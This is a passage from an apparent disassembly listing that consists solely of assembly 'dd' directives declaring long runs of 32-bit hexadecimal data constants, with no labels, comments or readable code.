		dd 0B9B80BE9h, 0C45057E0h, 0A4FFE703h, 3256278Ch, 0A5DCF830h
		dd 36785403h, 7E83E877h, 0DC8F5088h, 3BC12EFh, 405C1968h
		dd 0A380E356h, 0EB4CFFF5h, 2787804h, 0D33CFDEEh, 49261EA1h
		dd 50F1B0A8h, 54AE37F0h, 46E49A17h, 0C329DCCCh,	0A1378128h
		dd 38C81845h, 4C58450Ch, 864B5EDCh, 0E5306058h,	30905A15h
		dd 8CEAA6D4h, 2944EB48h, 32A5F4FDh, 48F07A64h, 0F4E20D1h
		dd 0EC80FB30h, 0EE88E8A5h, 920BD61h, 0F041F9A6h, 1828FF68h
		dd 0B448EBBFh, 1FD39A04h, 0B2DCC0F9h, 50BF858Dh, 83A70353h
		dd 2E492505h, 0DEA5D388h, 0D487294Eh, 5A6CDA60h, 0E749C19Bh
		dd 0F8EDDF82h, 5E333898h, 0F50906h, 0DF8A4721h,	0E7F60CC9h
		dd 0ED9AFC01h, 0DBBDB91Dh, 0E4045080h, 72B15787h, 0BCA13B63h
		dd 0A565F8F4h, 0DEFA07D3h, 46FB039Dh, 7A0021B6h, 624DBECh
		dd 3FC8B0Eh, 5FE57483h,	0B0042A29h, 0C261969Fh,	25EF8700h
		dd 9C4FD9C3h, 88DA3080h, 8977012Ah, 4DE97A7h, 53588018h
		dd 7C0D4A99h, 79C90227h, 8F6974F4h, 0BEF61DC0h,	0FCD15900h
		dd 522773F5h, 6CC30A2Bh, 7320DFF3h, 0C66E9C9h, 0CE4C00A3h
		dd 0D29A2D99h, 2103409Fh, 0DFE1D4DCh, 278088C6h, 997630BDh
		dd 0D6FC9298h, 5ED3EC03h, 18FE9CD1h, 0E0B12A79h, 0EE88A041h
		dd 0CC02092Fh, 0D8D1DC31h, 8C25803Ch, 13D32351h, 82B32B8Eh
		dd 272D101Ch, 0A1CC48A2h, 0FFD00B6h, 9983A01h, 109DEAF1h
		dd 0A344ECh, 839B7F6h, 3F06CF4h, 0A4054218h, 2B86C521h
		dd 1E4CA57h, 0A564DBF9h, 88CA18EBh, 0DC02F159h,	0B7EDA9A0h
		dd 8040765Fh, 0E403CECDh, 2F68A9Bh, 0A97A13Ch, 0F0313285h
		dd 4F30435Eh, 31372890h, 0B03AE5A0h, 672B4B70h,	42101CF4h
		dd 0C86AD427h, 0E875E402h, 49D13930h, 5603046Ch, 448537E3h
		dd 3709860h, 0A03E0135h, 0E231A608h, 0D805B5CDh, 16CA95Dh
		dd 990BC213h, 685BFB8Eh, 23D63DC8h, 3001E9D2h, 4C24C00Dh
		dd 2AF378E0h, 71C43A73h, 0EFD909E6h, 0D403FCC8h, 0C1B65D68h
		dd 0D8A30200h, 0CC5FC977h, 0F6A53E2Ch, 23846FBDh, 9EC6CBF3h
		dd 7157C45Ch, 21C14560h, 0B52E01F1h, 0B1838057h, 6329D036h
		dd 302806E7h, 843D75BAh, 0E5B79700h, 0C135C01Ch, 0C1AB7E5Ch
		dd 8886EB68h, 0AC403E04h, 0F419B532h, 3ECA06BDh, 85AD518h
		dd 212F6Eh, 70F119CDh, 2C354CC4h, 25470BFCh, 0B250BE1h
		dd 6A9D383h, 250D4096h,	903B9372h, 442F085h, 0D59840DFh
		dd 0ADB788D3h, 17FE806h, 6285A61h, 0F1911D89h, 0E12D8DAh
		dd 6841A935h, 23A7C784h, 3471CBE4h, 0EB302C4Bh,	16D2488Ch
		dd 0E2A2BE34h, 0E5C80030h, 0CB3652EEh, 10279FA6h, 0BE5DF3BDh
		dd 1450403Ch, 4C2FF0h, 0B483F63Ah, 193E6853h, 8585B9Bh
		dd 982180A7h, 8A37836Eh, 221A07C4h, 616AF192h, 0E8CB0AA7h
		dd 0C8272361h, 8754E880h, 0C029699Ah, 0B05418D7h, 0D8C91253h
		dd 40C473F5h, 3EED20E0h, 0F03AFC01h, 0C6234A9Bh, 85042840h
		dd 2013419Eh, 5B0524DCh, 50D1557Ch, 0A153A044h,	0D002E684h
		dd 0A00379BDh, 9B993794h, 86E88054h, 803C8B49h,	0BDF719BEh
		dd 38448C42h, 19B60015h, 0B2BB56C8h, 3C004703h,	0CD851F40h
		dd 6944D131h, 0BC8458E7h, 0A0F3C65Dh, 5CA1C7E6h, 2845FC86h
		dd 5C1484A5h, 1F323C0h,	53B383F7h, 88C218F0h, 83006F99h
		dd 73E8EDDDh, 300931D9h, 7969F668h, 9301EA54h, 5A374A1Bh
		dd 94E09F08h, 0AAEF008Dh, 8C32AEF7h, 0CA29D2C7h, 980080A0h
		dd 2030F131h, 69C9602Eh, 469F5015h, 6DFB7100h, 6F4C60EAh
		dd 7EA007DDh, 2998132Ah, 0A73011DDh, 26956820h,	4F585CB7h
		dd 0D8D9B643h, 0C0A6202Bh, 585D14h, 2D9AC342h, 499E39h
		dd 0CA8A69B6h, 0B2D34350h, 0A1A1F90h, 0A14496A1h, 36955D88h
		dd 8870CE04h, 0BAB7C0B4h, 17294CF5h, 4384C4F8h,	9089A5D5h
		dd 1EA025C8h, 17A47B76h, 83B0606Dh, 523F8DFh, 58B50070h
		dd 8909505Bh, 6A859C1Fh, 638D8B40h, 0F1BD775Ah,	0C691FCh
		dd 0F944B1A3h, 5940AEC2h, 0DE38EDE4h, 0D018E017h, 395854BAh
		dd 70BA6721h, 0A8594CB0h, 0B0019C3Bh, 5C3F3DC6h, 89895C9h
		dd 830321B2h, 0AC489C00h, 0FED0E1BCh, 0E6640605h, 685B96C2h
		dd 0C8C11218h, 62BA81h,	79B7CE1Bh, 489A96EFh, 0FE61B380h
		dd 97320341h, 0A264CE8Eh, 9253181Dh, 0F04821DBh, 1DFB39DAh
		dd 0CCE77305h, 9E182E91h, 95DCC600h, 4B7862FFh,	29E00708h
		dd 0C2C29170h, 0E1036C02h, 48B00244h, 9D5CCCF6h, 596939C0h
		dd 877ED800h, 0A6E7B24Dh, 0CD1009Fh, 72D2830Eh,	5070E19Ah
		dd 0DD32F90Ch, 130704Ah, 0EE782AFDh, 53BDFB48h,	0B06F6884h
		dd 43F80060h, 3C515434h, 0DB98E9D8h, 0B15B1853h, 0E53065EEh
		dd 0E4C4589Dh, 0A087F906h, 1C97D2C5h, 530CE518h, 5140B07Fh
		dd 8CB709BBh, 0DB80C29Ch, 0AC9FDA54h, 21C0B5E8h, 0EC8FAF1Ch
		dd 0CEF51DA2h, 0DC1F91h
		dd 0C655C708h, 7F60C2D2h, 461E9858h, 3ABD3D39h,	7EAC9E2Ah
		dd 0CA280093h, 8B637B35h, 0D8077D09h, 0DC8A655Ch, 50F0EF91h
		dd 5BD0C44Dh, 54E02AAFh, 74F81CA8h, 77D1811Fh, 0DFD94C7Ch
		dd 215E0831h, 32E40C97h, 25D4011Dh, 46F259CAh, 519C5045h
		dd 6E036FA3h, 0BD83BA94h, 5E2BA161h, 65C48858h,	2FE4D069h
		dd 0B4238Ch, 0EDF8EB19h, 0C0029142h, 24DEEED8h,	59D88349h
		dd 0F7890043h, 12B0060Eh, 0FA1481C2h, 2DCCF276h, 2AEFF4D3h
		dd 2CD80160h, 0E64F3370h, 73E18F6Dh, 0E01DEF9Fh, 42D4D021h
		dd 0D727ADCh, 0B32A9158h, 0E00A6038h, 0C2E2AA05h, 0A401147Dh
		dd 0B494DEE9h, 9F97424h, 5860C6ECh, 0F202D411h,	0B8736202h
		dd 9D952D8h, 0FB23BE53h, 600DD804h, 23B79C9Eh, 0BC1185C6h
		dd 9C860E05h, 89EC0836h, 25C432C0h, 0A0BCA6FAh,	91E40EA0h
		dd 46C020ACh, 8CC90179h, 0ACA7C29Eh, 1A88B10Ch,	238F30A1h
		dd 41D9787Ah, 0ECC419C1h, 588E8EFEh, 8DCCD2C1h,	0ED102470h
		dd 0C9014286h, 72F9CB0h, 0FC85887h, 0B953200h, 0C3573073h
		dd 4B7D14FBh, 0C781E4E3h, 0BC6346EAh, 662A9B50h, 0A75A739h
		dd 0E0819462h, 0ACADC6D9h, 0A836F394h, 4A62AA00h, 7D2FF456h
		dd 0C034C94Ch, 906BD968h, 6EB24BEh, 0C50801ECh,	41F7F614h
		dd 74466Ch, 262AE77Bh, 4F64B141h, 7A340CA3h, 3313F9E1h
		dd 549D2990h, 0B618B271h, 7A719D13h, 0B8395404h, 414FB105h
		dd 70D508B8h, 4CD94042h, 6200B6E7h, 0D9F64EF8h,	3BEFDCA3h
		dd 7A80826Ch, 0ED3166D8h, 4549E6E5h, 20FA0070h,	9BF591EFh
		dd 2E7A41h, 6BC0B029h, 25D51615h, 0D62CCEF4h, 816E3458h
		dd 5C638749h, 39707C34h, 0F9011777h, 0D15FF475h, 8A08980Dh
		dd 1F7F9F21h, 560CDA17h, 904C37EAh, 215B09C4h, 20ED7824h
		dd 26F4C240h, 0C620848Ah, 7840986Eh, 3BA024E0h,	62946198h
		dd 86698063h, 2F8F2389h, 4E42008Ah, 17A1495h, 300527F6h
		dd 605F47FFh, 0E53EE404h, 0D8B84B09h, 2987496Ah, 18B2718Ch
		dd 0DC0D0012h, 0E74EB353h, 4767C28Ah, 5F544BB0h, 9E38AE41h
		dd 33103078h, 0EDD19501h, 0AB24CEECh, 0B6101432h, 2A380BBCh
		dd 0A04B0D0Dh, 952E620h, 5AED4EBEh, 0E0A4882Ah,	663CDB86h
		dd 1AE33B00h, 609B2207h, 5B2E2493h, 0C8E1649Ch,	6A00A774h
		dd 0D0040673h, 1948830h, 0D12C08AAh, 2AD10CEh, 0F7066E5h
		dd 4CF981Bh, 232C3EB7h,	125D0BBDh, 1E761482h, 5AFE7882h
		dd 311DA444h, 14000D8Fh, 78678C92h, 0DF4B0D48h,	0F4484923h
		dd 102607CEh, 30036CEEh, 2650E487h, 8E34AAA8h, 798A8851h
		dd 0CEDE80B8h, 0AE7D75A3h, 0C6B25007h, 2432D14Eh, 1B6C447Bh
		dd 0D069904Bh, 0ED394060h, 1219BC92h, 6837F97h,	205AD6E1h
		dd 0B226DDF4h, 6A42A888h, 48EE46h, 6D53ADBh, 12F5BA59h
		dd 0B9CDE4C1h, 0E170905Ah, 0C8DE026Ch, 61AD5B67h, 6E794840h
		dd 6CF64881h, 693E6F7Ch, 1978DD86h, 69C06FF0h, 0AD9E603h
		dd 0DAF930CFh, 32534212h, 0ECBCFD2Ch, 7260A144h, 0D123761Fh
		dd 1E451107h, 49420A99h, 0A06F6227h, 7CD0C584h,	2BC700E7h
		dd 7D471ED1h, 7603C073h, 2FE927Ah, 40DEE055h, 0E7A8A0A7h
		dd 85D60089h, 77C6E038h, 72308ADFh, 0EE5890B2h,	0D0CF4878h
		dd 5BD87630h, 8831B6CCh, 8D61380Ch, 0AC04C054h,	0C5074956h
		dd 0F474EFDAh, 742C1F7Dh, 214C580h, 24D8405Eh, 607FA0B0h
		dd 960820A7h, 11F0CA2Dh, 8CB38073h, 43D7C238h, 0E04E22ADh
		dd 0A8C00CBh, 62C4B014h, 0C0DD7D29h, 946155h, 6FF08ABh
		dd 1E11E7A9h, 0AC4E7B2Ch, 7F720095h, 19C4BE6Dh,	8ED0E005h
		dd 0DC2AB9h, 7E152422h,	19608140h, 413C3953h, 0DE1CBE0h
		dd 10681FFCh, 0B17FD7D1h, 0B7E47093h, 0E5220937h, 78945EBEh
		dd 0F85E20F9h, 7A10B49Ah, 0B85C9AA1h, 8C0B1FCBh, 3CF4308Ah
		dd 0A1846382h, 0D86CD57Bh, 226D9E25h, 8F80F374h, 0F20C84B0h
		dd 5983C490h, 725341CFh, 304FF280h, 0F430C6A7h,	0D9706936h
		dd 375A138Dh, 92E600C7h, 40442B01h, 2CB37E3Bh, 0E7029969h
		dd 80B7DEFAh, 0AE8A5BACh, 5CD0377Bh, 512B2259h,	0F1263058h
		dd 7B0630E8h, 215EEFh, 6C0C9A92h, 55D1DF24h, 0CD63410Ah
		dd 0ECA6B049h, 4C19C701h, 0FC505143h, 17F80D1h,	0D767640Fh
		dd 2C460696h, 0CA98411Ch, 7E118028h, 9F8CB680h,	0AC4BAFC2h
		dd 1D0028h, 0F37B8FAEh,	16AAD040h, 0EF70FC00h, 7ACCB753h
		dd 0B88350E6h, 8AA0C85Bh, 0DCD6EF9Eh, 2F3E8409h, 0AB135EB8h
		dd 755A2831h, 0E2FA8000h, 0D8788E4Ch, 4036C220h, 60B00B5Eh
		dd 7A43BA20h, 0F4F081h,	0F367F2D6h, 8C6A7DE3h, 71605567h
		dd 0FB831648h, 60901Bh,	23C45891h, 849C7AC9h, 15F358A9h
		dd 0E0AD7004h, 6A1F7630h, 11E7D123h, 0E951E5Fh,	0F8E39F40h
		dd 5520C8Fh, 0A7C93A3Fh, 9310D85Ah, 646222h, 9C2F63E8h
		dd 0FCE39B11h, 3201091Dh, 0B474FD42h, 0BB90C060h, 9D04865Ch
		dd 173DDA08h, 2C50A8E3h, 6B9429Eh, 3F392AE6h, 5F302410h
		dd 27988108h, 9E761E85h, 0CA06630h, 0BC2136EDh,	3D108748h
		dd 0B97641BDh, 18B0D134h, 28F11802h, 32E48834h,	69B5ED31h
		dd 0E01420DEh, 8881470Ch, 0EBFE7470h, 8679EF08h, 662080BAh
		dd 20089056h, 0B037C15h, 0C9049363h, 41F682DCh,	0EC48E094h
		dd 35DF00A1h, 1E7F9541h, 26166163h, 56007653h, 3158FCE6h
		dd 0B047582Dh, 1C468989h, 75177104h, 766205F9h,	17799120h
		dd 0B5DE0062h, 367E0B2Ah, 652E9FD7h, 0F35E3866h, 441D2918h
		dd 0C74257A2h, 0E9868D7Ah, 0F86068FCh, 49D320E3h, 0CE4CC61Bh
		dd 3D30C308h, 80D3D8E9h, 318A383Fh, 43B0B465h, 0F6AC2480h
		dd 60BB0388h, 0FC0179D3h, 0A459A0A3h, 0C718DC90h, 0A4C8EE49h
		dd 53052898h, 5EC448F9h, 13C08450h, 58024B2Fh, 68A88BFDh
		dd 0C964DF60h, 14C566E1h, 0F267BDC4h, 7840BC08h, 0ECA98F70h
		dd 0D946106Fh, 0AEC9003Fh, 9EE18B29h, 7B60598Ch, 89513741h
		dd 9F1100EFh, 552946CAh, 4C0083BFh, 2838DA1Fh, 1899759Eh
		dd 0E9B3B93Dh, 0CC9CA931h, 55C16306h, 98320269h, 0B04EF7D3h
		dd 0D0E19C48h, 47144AF0h, 92AC9253h, 5E23103Ah,	22471500h
		dd 0E287E777h, 0F0C461DBh, 2459160Ah, 4A7EEA74h, 7B84F494h
		dd 885441ECh, 5FCE263Bh, 7A598830h, 6CBEDB80h, 4363876h
		dd 24F7B327h, 48D2C1EBh, 0D0DC48C8h, 7D4BF404h,	288857E7h
		dd 809382h, 0F978176Ah,	4486F5DDh, 7200BA77h, 35C3BE17h
		dd 312CE8FCh, 0E1A82556h, 17E98152h, 7387D60Dh,	0C04158C4h
		dd 55EFF3A1h, 0C101535Dh, 0EE9291D5h, 7420B375h, 86E414C2h
		dd 844C6C6Fh, 49189872h, 691940B6h, 58AEB079h, 1F0475B8h
		dd 7C0FD177h, 96235D32h, 469C80Dh, 3CFE0CEh, 0DAA4E860h
		dd 24EF4297h, 3250098Eh, 4A8199Ch, 78709D8h, 0C6FD3BE0h
		dd 44B6B325h, 98DEE988h, 0DF301963h, 0DD4BE151h, 38A42A21h
		dd 3F960860h, 0DC29E103h, 0CE21E07Ch, 283FB84Fh, 8098409Eh
		dd 847532F4h, 586B664Bh, 4866D1Dh, 0A0D6DCC2h, 32147628h
		dd 25AC22C4h, 0C334A063h, 1F9F42CFh, 418D1DE2h,	7B6593CBh
		dd 8028B2B6h, 4F46C38h,	0C2818CC8h, 20B4629Fh, 0E58FA01Bh
		dd 191FF40Fh, 63AAC732h, 1C9148ACh, 28312F6Ch, 0C4DA02D8h
		dd 74DCCABFh, 7DA1E848h, 3DE462E3h, 212F0229h, 7AC54B9Ch
		dd 6BDC1E60h, 0C6DE4948h, 8B6380A0h, 7FB8CAA1h,	118CF55Dh
		dd 607FB6CBh, 0DA40E96Eh
		dd 0E23D5F62h, 0B6B20085h, 1AE4540Bh, 5C2602A0h, 5BD77B75h
		dd 7C04F32Eh, 0E8818ADAh, 0F9F08BEFh, 2145604Eh, 2777E7DDh
		dd 44976B06h, 739005F8h, 406C2DD1h, 7084A409h, 0C34B054Ch
		dd 0C07C4414h, 0F50C315Fh, 52E81D88h, 392902C0h, 0A4C1A09Bh
		dd 277432DCh, 0B338937Bh, 6A1BC868h, 169092BEh,	215EEAF4h
		dd 870890h, 0DD4EE548h,	6388C669h, 0BF008160h, 0DD2CCDFBh
		dd 7FBEB603h, 81501A8h,	63C26AC0h, 3C298B62h, 4C9E8037h
		dd 1769BDEh, 35D2D8BCh,	4DD378C6h, 54D44294h, 5A9E4060h
		dd 795E44A0h, 0E61F849Eh, 688E4ECh, 0D29209F5h,	13F3080Fh
		dd 23B43A34h, 0AF700074h, 0BD829308h, 28AE3402h, 69EACD51h
		dd 9848B1E0h, 63431FE8h, 67C68FA7h, 0D2BC07D2h,	2418DB6Eh
		dd 1096D67Bh, 0EB4ADC41h, 8247E101h, 40947BE9h,	857DC0B9h
		dd 187000BFh, 97844F26h, 2904D54Bh, 0B9325054h,	4D860E0h
		dd 1AE18589h, 503A12B4h, 85015E23h, 3B0459B2h, 0DB6FDCh
		dd 0D5A3A6CEh, 0DA7A19C4h, 0AC4A8B0Bh, 0C0698B7Ch, 2EDC3970h
		dd 80982214h, 0DF422548h, 0B4BA928Ah, 88EF5800h, 13C48738h
		dd 43073091h, 68DED170h, 38F8BE59h, 0C0F3BA2Ah,	71B4038Fh
		dd 0B6BA96D7h, 0F4C22051h, 9053AF0Bh, 8E7D8420h, 5E65EE60h
		dd 2996CD13h, 40C8F08Eh, 0B110EEC7h, 0AECDE19h,	0D28AE49Bh
		dd 0AED183F8h, 80064FC6h, 0B4CEC23Bh, 4180FD18h, 61219DD8h
		dd 3D2E6360h, 0D20870BBh, 0E0E6711Dh, 4C942FB2h, 45A0E8Bh
		dd 6C82A034h, 246058EBh, 8FB0D80Bh, 7EAB48D0h, 10441CC0h
		dd 806FD207h, 0C47AD6FAh, 2BF5424h, 7AF70460h, 2140BC88h
		dd 5308B6EAh, 8898A5A8h, 0C6200A58h, 184700F5h,	1C766EEh
		dd 9C2EDCC9h, 8F40FCE8h, 9C64C2E2h, 0C2321F38h,	452541ABh
		dd 0BD2A9482h, 0CA786332h, 4B7D02B3h, 42A1CF21h, 241347CCh
		dd 0A504FCC1h, 0B04524ABh, 0A76076E4h, 46052977h, 0A55CBD4Dh
		dd 4480A4C0h, 32E40C56h, 0E9985DD1h, 0A6C13618h, 3A8AD070h
		dd 48CE2717h, 0CF93BC10h, 42CC2C98h, 64CE0B40h,	0B3E022BDh
		dd 0D5490141h, 74446CDAh, 651848B0h, 89488644h,	0CD10F97Eh
		dd 71825AC2h, 18407968h, 0DE101AFh, 0DEEA8B7Eh,	0D05875E7h
		dd 2A648532h, 0E8F288E0h, 0F830B5F2h, 0C7FE0011h, 0C447BD10h
		dd 8A5D7D7Ah, 0C817218h, 9C0B9F18h, 0E59DC6B4h,	870F8030h
		dd 0E3FC229Ch, 266B590Dh, 0B8689849h, 0ECF0880h, 82017919h
		dd 0B2C31009h, 0E032A558h, 75018523h, 65F97917h, 9D800023h
		dd 0B58A177Dh, 0B6AAF000h, 923384A8h, 589E0FDFh, 8073E931h
		dd 0CE8E815Ch, 0A27B8C25h, 927635Ch, 3FC030EDh,	0C06D62DFh
		dd 28351E89h, 600073F4h, 0C436E4F0h, 0CE661h, 88632C05h
		dd 0C7AE16D0h, 4674F89Ch, 93E0005Dh, 2B6E1997h,	2DDE12FBh
		dd 0FF74038Eh, 0E048B40Bh, 0C927E04h, 6CD18499h, 592A3B18h
		dd 9403E4BFh, 6B20D63Eh, 72C9B8FDh, 3A5E004Fh, 38C1951Fh
		dd 5B386512h, 24F7A50Ah, 14980BA8h, 0C99C0880h,	0B4C495C6h
		dd 9C880840h, 18507356h, 0D1013A91h, 0C2C439CEh, 0C8696216h
		dd 0F88013h, 0C8BBC740h, 60965E14h, 85513809h, 90C84ECDh
		dd 0D95B4099h, 0E67E8A00h, 0C2F8E523h, 0F4BB5186h, 27968F0h
		dd 62E4C30Fh, 0EC4453C4h, 19F8C613h, 5605A023h,	4BF0D431h
		dd 0C5FA2628h, 49DA3302h, 9D0B99A3h, 896D11C8h,	0C2C80189h
		dd 8105633Eh, 29F87E34h, 86F51370h, 80E2E029h, 6B7E846Ch
		dd 91624A3h, 43A61678h,	0F4C43898h, 3454E8BAh, 148DE688h
		dd 9722807Ah, 58A04B7Eh, 1F07CEDAh, 32387C4Dh, 0F97D5E7Ch
		dd 0C54B4851h, 5C85D2Eh, 7466EE4h, 9F73FE30h, 86DD2A81h
		dd 18EC725Ch, 0C41870BAh, 58796126h, 182D7122h,	0CAC5154Fh
		dd 819C7463h, 0E6692461h, 0B0F18051h, 6CBA1FA1h, 0AFA32E2Eh
		dd 0A9B40924h, 0C1A1880Fh, 9970C562h, 45E87248h, 0C05F2816h
		dd 9DA0F409h, 80B11178h, 70B90E99h, 0EF421F2Dh,	20921283h
		dd 52D2693Ch, 3F2444B0h, 1EF42C59h, 196CAEC8h, 0B3B0B06Ah
		dd 59E8C8D9h, 81E88468h, 3C1A9C01h, 4136F13Ah, 0F8D4102Eh
		dd 0EE692F01h, 4F5CA179h, 682F5BF4h, 6F00B123h,	6378F1C7h
		dd 2050B8F0h, 38A1479Ah, 6F0D1151h, 4870C6E8h, 0B484CCB6h
		dd 0C84B05BCh, 570E1402h, 792C7188h, 0E4718B7h,	9C68325Eh
		dd 0B5F241C1h, 60DC5957h, 0C92F960h, 74D14C99h,	0CF00C218h
		dd 0C3514A3Eh, 98E695ACh, 21824548h, 841D13Ch, 38E1C5A7h
		dd 8DEC817Bh, 0AE2107BAh, 28B9A5A6h, 3ED16E1Eh,	0A758BFA4h
		dd 0B0918097h, 6FD79Ch,	4B688EACh, 0C4963790h, 807A64h
		dd 0F0D615B7h, 0D40D4865h, 3012258Fh, 47099800h, 3098EE7Ah
		dd 0B1D99E63h, 0C4490042h, 5D08E252h, 0C944DD8h, 7D048B1Fh
		dd 0F8C14189h, 8048B470h, 64BA484Eh, 30E1CA84h,	106B1F79h
		dd 0B17FEFD1h, 0DDE47192h, 696B00D6h, 12E189DFh, 0CA16A5D9h
		dd 5CC39ADCh, 8BFAC862h, 82894BF5h, 680AFB78h, 90518609h
		dd 805EF25Ch, 0DDFC19CDh, 2E9CAC55h, 0BD23602Fh, 0F473410Ah
		dd 45A9C809h, 0B5DD883Ch, 2C2C783h, 62883F7Bh, 0D48024Ah
		dd 0C0764E84h, 0C46E7F87h, 0B5A08810h, 82922566h, 0E6743414h
		dd 0AC313281h, 11DE9479h, 4CB01899h, 272C59h, 0B71108F6h
		dd 180E2895h, 67CAC900h, 0C748C547h, 176C927Dh,	0C2D69D79h
		dd 0D0C03B30h, 0C980F9C3h, 0EDB603A0h, 0F8629DB7h, 4564C150h
		dd 60B12E40h, 0E6E17149h, 0BC98EAF0h, 38A36492h, 38863580h
		dd 5867ED7Ch, 0DA59919h, 0B88820F0h, 5F67D78h, 2A8ADEE9h
		dd 21F0F2BDh, 46C20412h, 78A0186Dh, 0E00482F6h,	9C9A6071h
		dd 25C625B3h, 20E6416h,	6E9C82h, 29AB6781h, 85622A42h
		dd 68CB3184h, 72AE6BA8h, 3E8323B8h, 0F97B1782h,	0C74F5D5h
		dd 0F73BB50h, 52227C17h, 0AF50C6C2h, 637BA000h,	0C2E2095Bh
		dd 0EC50BD90h, 33B02000h, 8AF90B42h, 78BB4556h,	92069F30h
		dd 19182B4Eh, 0F0619FD7h, 99D180Eh, 0CDC6B29Ch,	0D60A0D9h
		dd 39799C85h, 0EC0419C7h, 0B8625FB6h, 89A11154h, 9C46CD13h
		dd 14835EE0h, 0C82C9238h, 0B085B26h, 0FCE84EBEh, 0F0BCF022h
		dd 739CFC04h, 817724F7h, 11204E93h, 3A96FD15h, 8C79A8h
		dd 1BA82D8h, 47D14F61h,	0C4E49C03h, 0B83457Ah, 66E55CE0h
		dd 1B7BD860h, 89E4F000h, 8AD17580h, 1709A26h, 6EBCED2Bh
		dd 2FE1DF4Bh, 77B0C821h, 716202C2h, 6CC20B04h, 88E4A5F3h
		dd 0E090A4F2h, 6D8DDF82h, 0C606474h, 27880830h,	0F866C22Fh
		dd 0E0D09B97h, 5301C421h, 1A4B2CC9h, 3C22B0D4h,	0E028F9E6h
		dd 44AE2208h, 0E7949851h, 7410536Fh, 0BA745018h, 9830A089h
		dd 0DC00FB8Eh, 0EF0CB91Fh, 50B03696h, 0C8C85C63h, 88DB4B85h
		dd 764FAFD4h, 58040835h, 0F502B7AEh, 905C5158h,	6A18F776h
		dd 0DFA2BE00h, 0F2A1A6CAh, 0EEAC1D71h, 634283CCh, 910EFCCFh
		dd 6116E138h, 0DEECC493h, 6900092Fh, 638944E5h,	101064FBh
		dd 844014CEh, 1B00BA72h, 81029AABh, 1CBB6228h, 0C054CC26h
		dd 67126864h, 40F084D0h, 37C09861h, 0F9B8A192h,	0C5EAC711h
		dd 79046582h, 48592D88h, 80BC2Ch, 9E2F1A03h, 0FA4EF422h
		dd 3C90E8E2h, 7DDBAD44h, 0DEEE1358h, 0D1A44F3Ch, 0FC9AC961h
		dd 0B0027ABh, 683FD57Bh, 415AE458h, 2FD2F151h, 6C980840h
		dd 98EBBFCFh, 2BCD10BCh, 8D5B8844h, 0F2D9EF7Bh,	0F2B900C1h
		dd 6DD1E871h, 6F052018h
		dd 870ADD41h, 4D388444h, 2EC9B000h, 355A5F17h, 0C4395CD0h
		dd 0D8566213h, 0E92FB11Ah, 9090D36Eh, 9BEF04B2h, 0E4ACFD29h
		dd 52D2C105h, 0F418916Eh, 4B00C2BBh, 4EC87707h,	0B0D498CCh
		dd 204E2881h, 9E058A11h, 6352DA9Ch, 0B2C8988Eh,	0C0E675C3h
		dd 3F64631Ah, 45A0958Ch, 8D9C8C5h, 7C45C413h, 341D61EAh
		dd 0BA58A027h, 0AF412Ah, 0B7D38BDCh, 0AD63D52h,	0C92B3F0Bh
		dd 4A5301CDh, 0B042CF98h, 80E076E6h, 165F639Bh,	28006BD2h
		dd 1B060205h, 0EC515E7Bh, 52CA0164h, 0D6D2C6C9h, 7A78816Ch
		dd 29A93253h, 8878E829h, 0DEEA89DDh, 0E414AB9Dh, 1B070080h
		dd 38253449h, 1D0F1F0Eh, 0E23D54AFh, 48D8DED1h,	5B8AE760h
		dd 8F8251Ah, 0E9C0862Ch, 633B724h, 2B6085E4h, 0BE0008D4h
		dd 0EC5C618Fh, 1ECE24E1h, 1F671EB9h, 118A00AAh,	644AA680h
		dd 0E2901400h, 0DA498B2Eh, 0E110C074h, 61FA6C3Dh, 0E0AAC61Fh
		dd 0C038605Bh, 153037Ch, 0B3F6E5BAh, 98EEDD65h,	9D217008h
		dd 0B85200FBh, 0CB8835C2h, 1B00105Ch, 0D72FEA32h, 6B24883h
		dd 92AF61F9h, 0AA76A093h, 61FBC00h, 0AE80BD19h,	8A56610h
		dd 0D20E21ABh, 80511FB4h, 0DD112F60h, 0E2340617h, 7964E19Eh
		dd 522BAE0Eh, 0AFF6416Ch, 0C88FACBBh, 84B544B6h, 24ECCA01h
		dd 58FC33BAh, 0EF88C194h, 93240EE4h, 0E720C9EEh, 45765567h
		dd 6B62B0C1h, 1810962Ah, 0D401CDF6h, 0F8156878h, 9C407D09h
		dd 2AE1EA91h, 0F1ACBE47h, 55638440h, 12B51881h,	9EAA488Fh
		dd 0B967E237h, 953783h,	4C5A4E59h, 19E4C6FFh, 48B17836h
		dd 77E52230h, 35316771h, 5F1A986Fh, 8156AC41h, 465A8107h
		dd 33D180BDh, 9382522Dh, 0E1EE3E97h, 644DB080h,	65621D35h
		dd 0E7B118C0h, 0CA79C93Fh, 38D8DF50h, 40647812h, 6DBA8114h
		dd 0D006EAEEh, 0A0E293CEh, 21796008h, 986DB2A7h, 0E5AC3E03h
		dd 694AA1h, 7134C8A9h, 24CDDAECh, 3680D3Ch, 605B8366h
		dd 4B150F9h, 0BA0F8CADh, 7019041Fh, 0C351D0E0h,	0CC9CDE01h
		dd 0EC6F7DD7h, 380FFBC4h, 2600286h, 95FF48B5h, 0A520553Fh
		dd 0CA05507h, 0ED4B762Eh, 0FC73061Dh, 129D83FFh, 9B0FC085h
		dd 8927032Fh, 0E91ECDBDh, 70723C22h, 0E857186Ah, 5F201103h
		dd 892DC372h, 2F917F7Ch, 4721801Ch, 8434C357h, 6B3E242Bh
		dd 0DF890EFEh, 9B6D8546h, 500F603Dh, 0D1058029h, 0B5FF61A4h
		dd 95C6111Fh, 0D8C2665h, 2B81BD8Bh, 5DE08D0Ch, 0EC99190Ch
		dd 1009B118h, 0B8FF430Dh, 28AF7EABh, 82747142h,	3E9A0811h
		dd 0D68B6601h, 4EA4106Ah, 894E3049h, 2F658DB5h,	8B08830Ch
		dd 843C3121h, 3D810822h, 8D0DEDCFh, 0E8BBC685h,	0F70574D1h
		dd 4FE94B8Eh, 6113A1Fh,	16C95E62h, 8A9C3A0Ch, 6155B504h
		dd 89C8C35Dh, 1A448C6Ch, 0C3550045h, 3AF40AC6h,	0F1183338h
		dd 601F11E9h, 825A0015h, 0B67AF512h, 18010226h,	0A3EDD65Fh
		dd 0C08F7740h, 5022C4F1h, 0C084BEB1h, 1435E69h,	512B98Dh
		dd 0BF0F59A6h, 61BF0DFBh, 5182E523h, 0DEFD8D69h, 23532B0Ah
		dd 5A0E52D6h, 548944C3h, 42201662h, 2984C352h, 80EB7999h
		dd 588832DBh, 4A385F5Ch, 0F892E45Bh, 1B662B98h,	721C47B9h
		dd 70362DA8h, 0FC0E7F64h, 0B43F2E94h, 79121423h, 0A0314A08h
		dd 41594585h, 50EA59Ch,	30F15605h, 22028562h, 4492CB8Ah
